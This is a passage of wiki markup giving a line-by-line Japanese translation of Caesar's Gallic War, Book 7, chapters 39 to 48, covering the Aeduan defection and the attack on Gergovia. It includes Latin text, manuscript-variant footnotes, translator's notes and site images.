*orat ne patiatur civitatem pravis adulescentium consiliis ab amicitia populi Romani deficere; 
**（ハエドゥイーの）部族が青年たちのゆがんだ謀計によってローマ人民の友好から背くことを容認しないように懇願した。
*quod futurum provideat, si se tot hominum milia cum hostibus coniunxerint, 
**もし、このように多くの幾千もの同胞が敵たちと協同するならば、（上記の）ことが生じると用心するように、と。
*quorum salutem neque propinqui neglegere, 
**（寝返った1万の歩兵たちの）縁者たちは彼らの身の安全をなおざりにすることはないし、
*neque civitas levi momento aestimare posset.
**部族が（寝返った歩兵たちの）影響力を軽く評価できない、と。

===40節===
'''カエサルが4個軍団を率いてハエドゥイー勢1万を制止し、リタウィックスは逃亡'''
*①　Magna adfectus sollicitudine hoc nuntio Caesar, 
**この知らせにより、大きな不安を感じたカエサルは、
*quod semper [[w:la:Haedui|Haeduorum]] civitati praecipue indulserat, 
**常に[[w:ハエドゥイ族|ハエドゥイーの部族]]にとくに気遣っていたので、
*nulla interposita dubitatione legiones expeditas quattuor equitatumque omnem ex castris educit; 
**何らためらいを差しはさまずに、戦備を整えた4個[[w:ローマ軍団|軍団]]と[[w:騎兵|騎兵隊]]すべてを陣営から進発させた。
*②　nec fuit spatium tali tempore ad contrahenda castra, 
**このような情勢で、陣営を縮小するための余地はなかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：[[#36節|36節]]で、カエサルはゲルゴウィアの大きな陣営および敵に近い小さな陣営を6個軍団で守っていた。）&lt;/span&gt;
*quod res posita in celeritate videbatur; 
**というのは、事態は迅速さにかかっていると思われたからだ。
*C.(Gaium) Fabium legatum cum legionibus duabus castris praesidio relinquit. 
**総督副官[[w:ガイウス・ファビウス|ガイウス・ファビウス]]を2個軍団とともに陣営の守備に残しておいた。
*③　Fratres Litavicci cum comprehendi iussisset, 
**（カエサルは）リタウィックスの兄弟たちを拘束することを命じていたのだが、
*paulo ante reperit ad hostes fugisse. 
**少し前に（ゲルゴウィアの）敵たちのところへ去ったことを探り出した。
*④　Adhortatus milites ne necessario tempore itineris labore permoveantur, 
**（カエサルは）緊急の時に、行軍の労苦により乱されないように、兵士たちを激励して、
*cupidissimis omnibus progressus milia passuum [[w:la:Viginti quinque|XXV]] agmen Haeduorum conspicatus&lt;ref&gt;conspicatus はα系写本の記述で、β系写本では conspicatur となっている。&lt;/ref&gt; 
**皆がとても熱中していたので、25[[w:|ローママイル]]（約37km）進んで、ハエドゥイー族の隊列を視認した。
*immisso equitatu iter eorum moratur atque impedit 
**騎兵隊を突進させて、彼ら（ハエドゥイー勢）の行軍を妨げて、停止させた。
*interdicitque omnibus ne quemquam interficiant. 
**（ハエドゥイー勢を）誰一人殺さないように（ローマ勢の）皆に禁じた。
*⑤　[[w:la:Eporedorix|Eporedorigem]] et Viridomarum, quos illi interfectos existimabant, 
**彼ら（ハエドゥイー勢）が、殺されたものと考えていた者たち、[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]に、
*inter equites versari suosque appellare iubet. 
**（ハエドゥイー勢の）騎兵たちの間を歩き回って、味方に呼びかけることを命じた。
*⑥　His cognitis et Litavicci fraude perspecta Haedui manus tendere, 
**彼ら（2人）に気付いて、リタウィックスのごまかしを見通して、ハエドゥイー族の者たちは手を差し出して、
*deditionem significare et proiectis armis mortem deprecari incipiunt. 
**降伏の意を表して、武器を投げ出して、死を赦免されることを求め始めた。
*⑦　Litaviccus cum suis clientibus, 
**[[w:リタウィックス|リタウィックス]]は、配下の子分たちとともに、
*quibus more Gallorum nefas est etiam in extrema fortuna deserere patronos, 
**ガッリア人の風習では、最悪の境遇にあってさえも（子分が自分の）親分を見捨てることは非道であったので、
*[[w:la:Gergovia|Gergoviam]] profugit.
**（親分・子分ともども）[[w:ゲルゴウィア|ゲルゴウィア]]に逃れた。

===41節===
'''副官ファビウスの報告：ゲルゴウィアの敵勢がローマ陣営に襲来'''
*①　Caesar nuntiis ad civitatem [[w:la:Haedui|Haeduorum]] missis, 
**カエサルは伝令たちを[[w:ハエドゥイ族|ハエドゥイー]]の部族（当局）に遣わして、
*qui suo beneficio conservatos docerent quos iure belli interficere potuisset, 
**彼ら（伝令）に、戦時の権限により殺せた者たち（歩兵1万）は（カエサル）自らの恩恵により許されたのだ、と説かせた。
*tribusque horis noctis exercitui ad quietem datis castra ad [[w:la:Gergovia|Gergoviam]] movit. 
**（カエサルは）夜の3時間を軍隊に休息のために与えて、陣営を引き払ってゲルゴウィアの方へ向かった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：古代ローマの不定時法では、夏季の夜の3時間は、現在の定時法の3時間よりかなり短い。）&lt;/span&gt;
*②　Medio fere itinere equites a Fabio missi, 
**（ゲルゴウィアへの）道程のほぼ中間のところで、ファビウスから[[w:騎兵|騎兵]]たちが遣わされて来て、
*quanto res in periculo fuerit, exponunt. 
**事態がどれほどの危機にあるか、を打ち明けた。
*Summis copiis castra oppugnata demonstrant, 
**（ガッリア勢の）最大級の軍勢により（ローマ勢の）陣営が攻撃された、と説明した。
*cum crebro integri defessis succederent 
**そのときに（ガッリア勢は）たびたび新たな者たちが疲労した者たちに交代していたが、
*nostrosque adsiduo labore defatigarent, 
**我が方（ローマ勢）は絶え間ない労苦により疲れ果てていた。
*quibus propter magnitudinem castrorum perpetuo esset isdem in vallo permanendum. 
**彼ら（ローマ勢）にとり、陣営の大きさのために、同じ者たちが防柵の中に留まらざるを得なかった。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは[[#40節|40節]]②項で「陣営を縮小するための余地はなかった」とあらかじめ弁解している。）&lt;/span&gt;
*③　Multitudine sagittarum atque omnis generis&lt;ref&gt;omnis generis はα系写本の記述で、β系写本では omni genere となっている。&lt;/ref&gt; telorum multos vulneratos; 
**（ガッリア勢からの）矢の多数と飛び道具のあらゆる類いによって（ローマ勢の）多くのものが傷つけられた。
*ad haec sustinenda magno usui fuisse tormenta. 
**これに持ちこたえるために、投石器が大いに役立った。
*④　Fabium discessu eorum duabus relictis portis obstruere ceteras 
**ファビウスは、彼ら（ガッリア勢）が退却すると、2つの門を残して、ほか（の門）を閉鎖した。
*pluteosque vallo addere et se in posterum diem similemque casum apparare&lt;ref&gt;similemque casum apparare はα系写本の記述で、β系写本では similem ad casum parare となっている。&lt;/ref&gt;. 
**胸壁を防柵を付け加えて、翌日における似たような状況に備えた。
*⑤　His rebus cognitis Caesar 
**これらの事態を知って、カエサルは、
*summo studio militum ante ortum solis in castra pervenit.
**兵士たちの最大級の努力によって、日の出の前に（ゲルゴウィアの）陣営に到着した。

===42節===
'''ハエドゥイー族の者たちが反ローマ暴動を引き起こす'''
*①　Dum haec ad [[w:la:Gergovia|Gergoviam]] geruntur, 
**これらがゲルゴウィアの辺りでなされている間に、
*[[w:la:Haedui|Haedui]] primis nuntiis ab Litavicco acceptis 
**[[w:ハエドゥイ族|ハエドゥイー族]]の者たちは、[[w:リタウィックス|リタウィックス]]からの最初の知らせを受け取ったが、
*nullum sibi ad cognoscendum spatium relinquunt. 
**自分たちには（この知らせを）調べるための余地を何ら残さなかった。
*②　Impellit alios avaritia, alios iracundia et temeritas 
**ある者たちを貪欲さが、ある者たちを激しやすさや無分別が駆り立てた。
*─ quae maxime illi hominum generi est innata ─ ut levem auditionem habeant pro re comperta. 
**あの種族の人々はとりわけ、軽率な風聞を確認された事として見なすように、生まれついているのだ。
*③　Bona civium Romanorum diripiunt, caedes faciunt, in servitutem abstrahunt. 
**（ハエドゥイー族の者たちは）ローマ市民たちの財産を略奪し、殺戮を行なって、隷属状態に引きずり込んだ。
*④　Adiuvat rem proclinatam Convictolitavis 
**（さらに）傾いた事態を[[w:コンウィクトリタウィス|コンウィクトリタウィス]]が助長して、
*plebemque ad furorem impellit, ut facinore admisso ad sanitatem reverti pudeat. 
**民衆を狂暴さへと、悪行を犯して冷静さへ引き返すことを恥と思うように、駆り立てた。
*⑤　M.(Marcum) Aristium tribunum militum iter ad legionem facientem 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;であるマルクス・アリスティウスが[[w:ローマ軍団|軍団]]のところへ旅しているところを
*fide data ex oppido [[w:la:Cabillonum|Cavillono]] educunt; 
**（安全の）保証を与えて、城塞都市カウィッロヌムから連れ出した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カウィッロヌム Cavillonum はカビッロヌム Cabillonum とも綴り、現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]）&lt;/span&gt;
*idem facere cogunt eos, qui negotiandi causa ibi constiterant. 
**そこに商売をするために定住していた（ローマ人の）者たちにも同じことをするように強要した。
*⑥　Hos continuo &lt;in&gt;&lt;ref&gt;in は写本にないが、近世の活字本から挿入されている。&lt;/ref&gt; itinere adorti omnibus impedimentis exuunt; 
**直ちに彼らを途中で襲撃して、すべての手荷物を奪い取った。
*repugnantes diem noctemque obsident; 
**抵抗する者たちを昼夜にわたって包囲した。
*multis utrimque interfectis 
**（ハエドゥイー族とローマ人の）双方とも多くの者たちが殺されて、
*maiorem multitudinem armatorum&lt;ref&gt;armatorum はα系写本の記述で、β系写本では ad arma となっている。&lt;/ref&gt; concitant.
**（ハエドゥイー族の）より多くの群衆を武装へと扇動した。

===43節===
'''ハエドゥイー族当局がカエサルに屈服。ガッリア大動乱の予感'''
*①　Interim nuntio adlato omnes eorum milites in potestate Caesaris teneri, 
**その間に、彼ら（ハエドゥイー族）の兵士すべてがカエサルの権力下で支配されているという知らせがもたらされて、
*concurrunt ad Aristium, 
**（ハエドゥイー族当局の者たちは）アリスティウスのところへ急ぎ集まって、
*nihil publico factum consilio demonstrant; 
**（ローマ市民に対する襲撃は）何ら公けに企てがなされたものではないと説明した。
*②　quaestionem de bonis direptis decernunt, 
**（部族当局は、ローマ市民から）略奪された財産についての究明を決定して、
*Litavicci fratrumque bona publicant, 
**リタウィックスと兄弟たちの財産を没収し、
*legatos ad Caesarem sui purgandi gratia mittunt. 
**カエサルのところへ使節たちを、自分たちを赦免することのために遣わした。
*③　Haec faciunt reciperandorum&lt;ref&gt;reciperandorum はα系写本の記述で、β系写本では recuperandorum となっている。&lt;/ref&gt; suorum causa; 
**これらを、配下の者たち（＝歩兵1万名）を取り戻すために行なったのだ。
*sed contaminati facinore et capti compendio ex direptis bonis, 
**しかし（彼らは）悪行に汚染されていて、略奪した財産の利得にとらわれており、
*quod ea res ad multos pertinebat, timore&lt;ref&gt;timore はα系写本の記述で、β系写本では et timore となっている。&lt;/ref&gt; poenae exterriti 
**その事に多くの者たちが関与していたので、懲罰の恐れに脅かされて、
*consilia clam de bello inire incipiunt 
**ひそかに戦争の謀計に取りかかり始めて、
*civitatesque reliquas legationibus sollicitant. 
**ほかの諸部族を使節派遣によって、そそのかした。
*④　Quae tametsi Caesar intellegebat, tamen quam mitissime potest legatos appellat; 
**カエサルはそのようなことを認識していたけれども、（ハエドゥイー族の）使節たちにできるだけ平静に話しかけた。
*nihil se propter inscientiam levitatemque vulgi gravius de civitate iudicare 
**自分は（ハエドゥイー族の）民衆の無知や軽率さのために、部族を何ら厳重に裁断することはない、と。
*neque de sua in [[w:la:Haedui|Haeduos]] benevolentia deminuere. 
**自分のハエドゥイー族に対する好意を減ずることはない、と。
*⑤　Ipse maiorem Galliae motum exspectans, 
**（カエサル）自身は、ガッリアのより大きな動乱を予期しており、
*ne ab omnibus civitatibus circumsisteretur, 
**すべての部族によって包囲されることがないように、
*consilia inibat, quemadmodum ab&lt;ref&gt;ab はχ系写本の記述で、φ系写本では a となっており、β系写本にはない。&lt;/ref&gt; [[w:la:Gergovia|Gergovia]] discederet ac rursus omnem exercitum contraheret, 
**どのようにゲルゴウィアから撤退して再び軍隊全体を集結するか、策定に取りかかった。
*ne profectio nata ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; timore defectionis similis&lt;ref&gt;similis はα系写本の記述で、β系写本では similisque となっている。&lt;/ref&gt; fugae videretur.
**（諸部族の）背反の恐れから生じた出発が、逃亡同然と見られないように。

===44節===
'''ゲルゴウィアの急所の尾根'''
[[画像:Plateau_of_Gergovia.jpg|thumb|center|900px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）の全景（南方のル・クレスト [[w:fr:Le Crest|Le Crest]] から撮影）。&lt;br&gt;画像中央の右下に、ローマ勢が占領して小さい方の陣営を築いていたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）の丘陵が見える。&lt;br&gt;本節①項で言及されているのは画像の左端に写る丘陵と思われ、尾根伝いにほぼ平坦なゲルゴウィアの山頂（画像中央）に続いている。&lt;br&gt;これらの位置関係の推定は、19世紀の[[w:ウジェーヌ・ストッフェル|ウジェーヌ・ストッフェル]]大佐（colonel Eugène Stoffel）の発掘調査に依拠したものである。]]
[[画像:La_Roche_Blanche.JPG|thumb|right|300px|ローマ勢が占領して小さい方の陣営を築いていたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）の丘陵]]

*①　Haec cogitanti accidere visa est facultas bene rei gerendae&lt;ref&gt;rei gerendae はα系写本の記述で、β系写本では gerendae rei となっている。&lt;/ref&gt;. 
**（カエサルが）これらを考慮しているときに、事をうまく行なえる可能性が生じたと思われた。
*Nam cum in minora castra operis perspiciendi causa venisset, 
**すなわち、（ローマ勢の）小さい方の陣営に、作業を視察するためにやって来たときに、
*animadvertit collem qui ab hostibus tenebatur nudatum hominibus, 
**敵たちによって占められていた丘陵が、無人にされているのに気付いた。
*qui superioribus diebus vix prae multitudine cerni poterat. 
**それは、前日には、（ガッリア勢の）大勢の者たちのためにほとんど見分けが付けられないものだった。
*②　Admiratus quaerit ex perfugis causam, 
**（カエサルは）驚いて、（ゲルゴウィアからの）[[w:脱走兵|脱走兵]]たちに理由を尋ねた。
*quorum magnus ad eum cotidie numerus confluebat. 
**その者たちの多数は、毎日、彼（カエサル）のところへ群がり集まっていたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#14節|14節]]⑨項で既述のように、ガッリア勢は[[w:兵役逃れ|兵役忌避]]の多さに悩まされていた。）&lt;/span&gt;
*③　Constabat inter omnes 
**（脱走兵たち）皆の間では同じ意見であった。
*─ quod iam ipse Caesar per exploratores cognoverat ─ 
**─ すでにカエサル自身が偵察者たちを通して知っていたことであったが ─
*dorsum esse eius iugi prope aequum, sed silvestre&lt;ref&gt;silvestre はβ系写本の記述で、α系写本では hunc silvestrem となっている。&lt;/ref&gt; et angustum, 
**その尾根の背面はほぼ平地で、しかし森林におおわれて狭く、
*qua esset aditus ad alteram partem oppidi&lt;ref&gt;partem oppidi はα系写本の記述で、β系写本では oppidi partem となっている。&lt;/ref&gt;; 
**それによって城塞都市の別の方面への出入口となっている、と。
*④　vehementer huic illos loco&lt;ref&gt;vehementer huic illos loco はα系写本の記述で、β系写本では huic loco vehementer illos となっている。&lt;/ref&gt; timere nec iam aliter sentire, 
**この地帯を彼ら（ガッリア勢）が極度に恐れ、すでに感じていたことには、
*uno colle ab Romanis occupato, si alterum amisissent, 
**ローマ人によって一つの丘陵が占領されているので、もしもう一方をも失ったならば、
*quin paene circumvallati atque omni exitu et pabulatione interclusi viderentur; 
**（ゲルゴウィアが）ほとんど包囲されて、あらゆる出口と糧秣徴発を阻まれると思われたのである。
*ad hunc muniendum locum&lt;ref&gt;locum はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; omnes a [[w:la:Vercingetorix|Vercingetorige]] evocatos.
**この地帯の辺りを防御するために、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]により総勢が召集されていたのだ、と。

===45節===
'''ローマ勢の陽動部隊が敵を引き付け、本隊が敵の本陣を目指す'''
*①　Hac re cognita Caesar mittit complures equitum turmas eodem&lt;ref&gt;eodem はβ系写本の記述で、α系写本では eisdem などとなっており、またモイゼル（Meusel）は eo de と解釈している。&lt;/ref&gt; media nocte; 
**この事を知って、カエサルは多数の[[w:騎兵|騎兵]]&lt;ruby&gt;&lt;rb&gt;小隊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥルマ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を同じところに真夜中に派遣した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：騎兵小隊 turma は、ローマの同盟部族などからなる騎兵の単位で、30騎ほどからなるとされている。）&lt;/span&gt;
*imperat his&lt;ref&gt;his はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; ut paulo tumultuosius omnibus locis vagarentur&lt;ref&gt;vagarentur はα系写本の記述で、β系写本では pervagentur となっている。&lt;/ref&gt;. 
**彼らには、いくらか騒々しく、あらゆる場所を動き回るように命令した。
*②　Prima luce magnum numerum impedimentorum ex castris mulorumque produci deque his stramenta detrahi 
**夜明けに、陣営から多数の荷馬や[[w:ラバ|ラバ]]を連れ出して、これらから[[w:鞍|荷鞍]]を取り去って、
*mulionesque cum cassidibus equitum specie ac simulatione collibus circumvehi iubet. 
**ラバ引きの者たちを鉄兜とともに、騎兵の外見と真似をさせて、丘々を乗り回すことを命じた。
*③　His paucos addit equites, qui latius ostentationis causa vagarentur&lt;ref&gt;vagarentur はα系写本の記述で、β系写本では vagentur となっている。&lt;/ref&gt;. 
**彼らに少数の騎兵を付き添わせて、より広く見せびらかすために動き回らせた。
*Longo circuitu easdem omnes iubet petere regiones. 
**（ラバ引きと騎兵の）皆には、長く迂回して、同じ一帯を目指すことを命じた。
*④　Haec procul ex oppido videbantur, ut erat a Gergovia despectus in castra, 
**これらは&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;から遠くに望見され、ゲルゴウィアから（ローマ勢の）陣営が眺められたほどであったが、
*neque tanto spatio certi quid esset explorari poterat. 
**これほどの距離のために（ガッリア勢からは）何ごとか確かなことは探り出されなかった。
*⑤　Legionem unam eodem iugo mittit 
**（カエサルは）1個[[w:ローマ軍団|軍団]]を同じ尾根に派遣して、
*et paulum progressam inferiore constituit loco silvisque occultat. 
**いくらか前進させて低い場所に駐留させ、森林に隠した。
*⑥　Augetur Gallis suspicio 
**（これらを見た）ガッリア人には疑念が増されて、
*atque omnes illo ad munitionem copiae traducuntur. 
**軍勢のすべてがあそこ（＝無人にしていた急所の丘陵）へ防御のために移動した。
*⑦　Vacua castra hostium Caesar conspicatus 
**カエサルは敵たちの（ゲルゴウィア山頂の）陣営が空であると気付いて、
*tectis insignibus suorum occultatisque signis militaribus 
**配下の者たちの標章を覆い隠し、軍旗を隠して、
*raros milites, ne ex oppido animadverterentur, ex maioribus castris in minora traducit 
**兵士たちをまばらに、城塞都市から気付かれないように、大きい方の陣営から小さい方に移動させた。
*legatisque, quos singulis legionibus praefecerat, quid fieri velit, ostendit; 
**個々の軍団を指揮させていた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、何がなされることを欲しているかを示した。
*⑧　in primis monet ut contineant milites, 
**第一に、兵士たちを抑え留めるように戒めた。
*ne studio pugnandi aut spe praedae longius progrediantur; 
**（兵士たちが）戦うことの熱意、あるいは略奪の希望により、より遠くまで進み出ないように、と。
*⑨　quid iniquitas loci habeat incommodi proponit; 
**地勢の不利がどれほど敗北を生じるかを示した。
*hoc una celeritate posse vitari&lt;ref&gt;vitari はβ系写本の記述で、α系写本では mutari となっている。&lt;/ref&gt;; 
**迅速さのみがこれを避けることができる。
*occasionis esse rem, non proelii. 
**事の成否は、戦闘にではなく、好機にかかっている。
*⑩　His rebus expositis signum dat 
**これらの事柄を説明して、（副官たちに進軍の）号令を出した。
*et ab dextra parte alio ascensu eodem tempore Haeduos mittit.
**右の方面からは、別の登り道を（ローマ軍本隊と）同時に[[w:ハエドゥイ族|ハエドゥイー族]]（の騎兵）を派遣した。

===46節===
'''ローマ軍の本隊が防壁を越えて、敵陣の一部を占拠'''
*①　Oppidi murus ab&lt;ref&gt;ab はB･M･L･N写本の記述で、β系写本では a となっている。&lt;/ref&gt; planitie atque initio ascensus recta regione, 
**（ゲルゴウィアの）&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の城壁は、平地や登り道の始まりから真っ直ぐに（＝直線距離で）、
*si nullus amfractus&lt;ref&gt;amfractus はα系写本の記述で、β系写本では anfractus となっている。&lt;/ref&gt; intercederet, mille CC(mille ducenti)&lt;ref&gt;mille CC(=1200) はα系写本の記述で、β系写本では CC（=200）となっている。&lt;/ref&gt; passus aberat; 
**もし何らの湾曲が間になければ、1200[[w:パッスス|パッスス]]（＝約1.8km）離れていた。
*②　quicquid huc circuitus ad molliendum clivum accesserat&lt;ref&gt;accesserat は写本(ω)の記述だが、オットー・ゼール [[w:de:Otto Seel|Otto Seel]] の校訂では accesserit としている。&lt;/ref&gt;, 
**ここに（山の斜面の）傾斜を緩和するために、何らかの回り道が付け加わっていて、
*id spatium itineris augebat. 
**その道のりの距離を増していた。
*③　A medio fere colle in longitudinem, ut natura montis ferebat, 
**丘陵のほぼ真ん中から、山の地形が作り出したかのように、長きにわたって、
*ex grandibus saxis sex pedum murum qui nostrum&lt;ref&gt;nostrum は中世の写本(ω)の記述だが、近世の版では nostrorum となっている。&lt;/ref&gt; impetum tardaret, 
**大きな石垣からなる6[[w:ペース (長さ)|ペース]]（＝約1.8m）もの、我が方（ローマ勢）の突進を遅らせる防壁を、
*praeduxerant Galli, 
**ガッリア人は引いて来ており、
*atque inferiore omni spatio vacuo relicto 
**（その石垣の防壁）より下方のすべての空間は人気なく残されていて、
*superiorem partem collis usque ad murum oppidi densissimis castris compleverant. 
**丘陵のより上方の部分を、城塞都市の城壁の方へ続けざまに、とても密集した（各部族ごとの）陣営で満たしていた。
*④　Milites dato signo celeriter ad munitionem perveniunt 
**（ローマ人の）兵士たちは号令を与えられて、速やかに（石垣の）防壁のところへ到達して、
*eamque transgressi trinis castris potiuntur; 
**それを越えて行って、3つの（部族ごとの）陣営を占拠した。
*⑤　ac tanta fuit in castris capiendis&lt;ref&gt;castris capiendis はα系写本の記述で、β系写本では capiendis castris となっている。&lt;/ref&gt; celeritas, 
**（3つの）陣営を奪取することにおいて、これほどにも迅速さがあったので、
*ut Teutomatus, rex Nitiobrogum, subito in tabernaculo oppressus, 
**その結果、[[w:ニティオブロゲス族|ニティオブロゲス族]]の王[[w:テウトマトゥス|テウトマトゥス]]は、[[w:テント|天幕]]において突然に襲われて、
*ut meridie conquieverat, superiore corporis parte nudata&lt;ref&gt;nudata はα系写本の記述で、β系写本では nuda となっている。&lt;/ref&gt; 
**昼寝をしていたが、上半身は裸のままで、
*vulnerato equo vix se ex manibus praedantium militum eriperet.
**傷付けられた馬によって、略奪している（ローマ人）兵士の手から、やっと自らを救い出した。

===47節===
'''血気にはやるローマ兵たちの猪突猛進、ガッリア女たちの命乞い'''
*①　Consecutus id quod animo proposuerat 
**心に決めていたことを達成したので、
*Caesar receptui cani iussit 
**カエサルは退却ラッパを吹くことを命じた。
*legionique decimae, quacum erat, contionatus signa constituit. 
**彼とともにいた[[w:第10軍団エクェストリス|第10軍団]]に呼びかけて、軍旗を停止した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：第10軍団はガッリア戦争初期からの最古参の軍団。軍旗を停止するとは、進軍を止めること。）&lt;/span&gt;
*②　Ac&lt;ref&gt;ac はα系写本の記述で、β系写本では at となっている。&lt;/ref&gt; reliquarum legionum milites non exaudito&lt;ref&gt;exaudito はα系写本の記述で、β系写本では audito となっている。&lt;/ref&gt; sono tubae, 
**ほかの[[w:ローマ軍団|軍団]]の兵士たちは、ラッパの響きを聞き取れなかった。
*quod satis magna valles intercedebat, 
**というのは、十分に大きな峡谷が間にあったからである。
*tamen ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tribunis militum legatisque, ut erat a Caesare praeceptum, retinebantur; 
**しかしながら、&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちにより、カエサルから指図されていたように、制止されていた。
*③　Sed elati spe celeris victoriae et hostium fuga et superiorum temporum secundis proeliis 
**だが（兵士たちは）迅速な勝利の希望や、敵たちの逃亡や、それ以前のときの順調な戦闘により、高慢になっていて、
*nihil adeo arduum sibi esse existimaverunt&lt;ref&gt;esse existimaverunt はα系写本の記述で、β系写本では existimabant となっている。&lt;/ref&gt;, quod non virtute consequi possent, 
**自分たちにとって、武勇で達することができないほどの困難なものはまったく何もない、と考えており、
*neque finem prius sequendi fecerunt quam muro oppidi portisque adpropinquarunt. 
**（ゲルゴウィアの）城塞都市の城壁や城門に近付くまでは、追及を終結させなかった。
*④　Tum vero ex omnibus urbis partibus orto clamore, 
**すると、まさに（ゲルゴウィアの）町のあらゆる方面から叫び声が発せられて、
*qui longius aberant, repentino tumultu perterriti, 
**（城内の）遠い方に離れていた者たちは、予期せぬ騒ぎに脅えており、
*cum hostem intra portas esse existimarent, 
**敵（＝ローマ人）が城門の内側にいると考えたので、
*sese ex oppido eiecerunt. 
**城塞都市から急ぎ出た。
*⑤　Matres familiae de muro vestem argentumque iactabant 
**家庭の母親たちは、城壁から衣類や貨幣をたびたび投げやった。
*et pectore nudo prominentes passis manibus obtestabantur Romanos, 
**そして胸を裸にして（城壁の上に）進み出て、手を伸ばしてローマ人たちに哀願した。
*ut sibi parcerent 
**自分たちを容赦するように、
*neu, sicut Avarici fecissent, ne a mulieribus quidem atque infantibus abstinerent; 
**（ローマ人が）アウァーリクムでしたように女たちや子供たちでさえも赦免しないことのないように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ローマ人がアウァーリクムでした行為については、[[#28節|28節]]④項を参照。）&lt;/span&gt;
*⑥　nonnullae de muris&lt;ref&gt;muris はα系写本の記述で、β系写本では mure となっている。&lt;/ref&gt; per manus demissae sese militibus tradebant. 
**少なからぬ者たちは、城壁から手で降ろされて、（ローマ人）兵士たちに身を任せた。

[[画像:Gergovie_mur_pano2.jpg|thumb|center|700px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）で発掘された城壁の遺構。]]

*⑦　L.(Lucius) Fabius centurio legionis VIII(octavae), 
**[[w:第8軍団アウグスタ|第8軍団]]の&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;であるルキウス・ファビウスは、
*quem inter suos eo die dixisse constabat 
**配下の者たちの間で、その日、（以下のように）言ったことが知られていた。
*excitari se Avaricensibus praemiis neque commissurum, ut prius quisquam murum ascenderet, 
**自分はアウァーリクムの恩賞に奮い立たせられて、何者かが（自分）より早く城壁を登るようなことは生じさせない、と。
*tres suos nactus manipulares 
**（ファビウスは）同じ隊の兵士である3人の配下と遭遇して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：manipulares は「[[w:マニプルス|歩兵中隊]]の」とも解されるが、ここでは「同じ隊の兵士」という意味であろう。）&lt;/span&gt;
*atque ab his sublevatus murum ascendit, 
**彼らによって持ち上げられて城壁を登った。
*hos&lt;ref&gt;hos はα系写本の記述で、π系写本では eos 、ρ系写本では eo となっている。&lt;/ref&gt; ipse rursus singulos exceptans in murum extulit.
**彼らは（ファビウス）自身が再び1人ずつ引き出して、城壁に導き上げた。

===48節===
'''ガッリア勢が城塞都市に引き返して、防戦に努める'''
*①　Interim hi&lt;ref&gt;hi はα系･π系･R写本の記述で、U写本では ii となっている。&lt;/ref&gt; qui ad alteram partem oppidi, ut supra demonstravimus, munitionis causa convenerant, 
**その間に、前に述べたように、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の別の方面へ、防御のために集結していた（ガッリア勢の）者たちは、
